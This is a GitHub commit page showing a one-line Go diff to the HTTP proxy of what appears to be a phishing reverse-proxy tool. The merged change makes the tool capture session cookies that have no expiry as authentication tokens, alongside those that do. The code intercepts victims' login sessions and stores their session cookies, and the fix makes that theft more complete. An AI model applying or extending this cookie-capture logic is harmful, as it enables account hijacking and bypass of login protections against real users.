Merge pull request kgretzky#571 from michaelmagyar/token-capture-fix

fixed token capture logic for tokens with expiry set to 0
mattwilds · Feb 8, 2021 · 511860c · 511860c
2 parents 63eddbb + b6db209
commit 511860c
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/core/http_proxy.go b/core/http_proxy.go
@@ -683,7 +683,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 					if pl.isAuthToken(c_domain, ck.Name) {
 						s, ok := p.sessions[ps.SessionId]
 						if ok && (s.IsAuthUrl || !s.IsDone) {
-							if ck.Value != "" && (!ck.Expires.IsZero() && time.Now().Before(ck.Expires)) { // cookies with empty values or expired cookies are of no interest to us
+							if ck.Value != "" && (ck.Expires.IsZero() || (!ck.Expires.IsZero() && time.Now().Before(ck.Expires))) { // cookies with empty values or expired cookies are of no interest to us
 								is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
 								if len(pl.authUrls) > 0 {
 									is_auth = false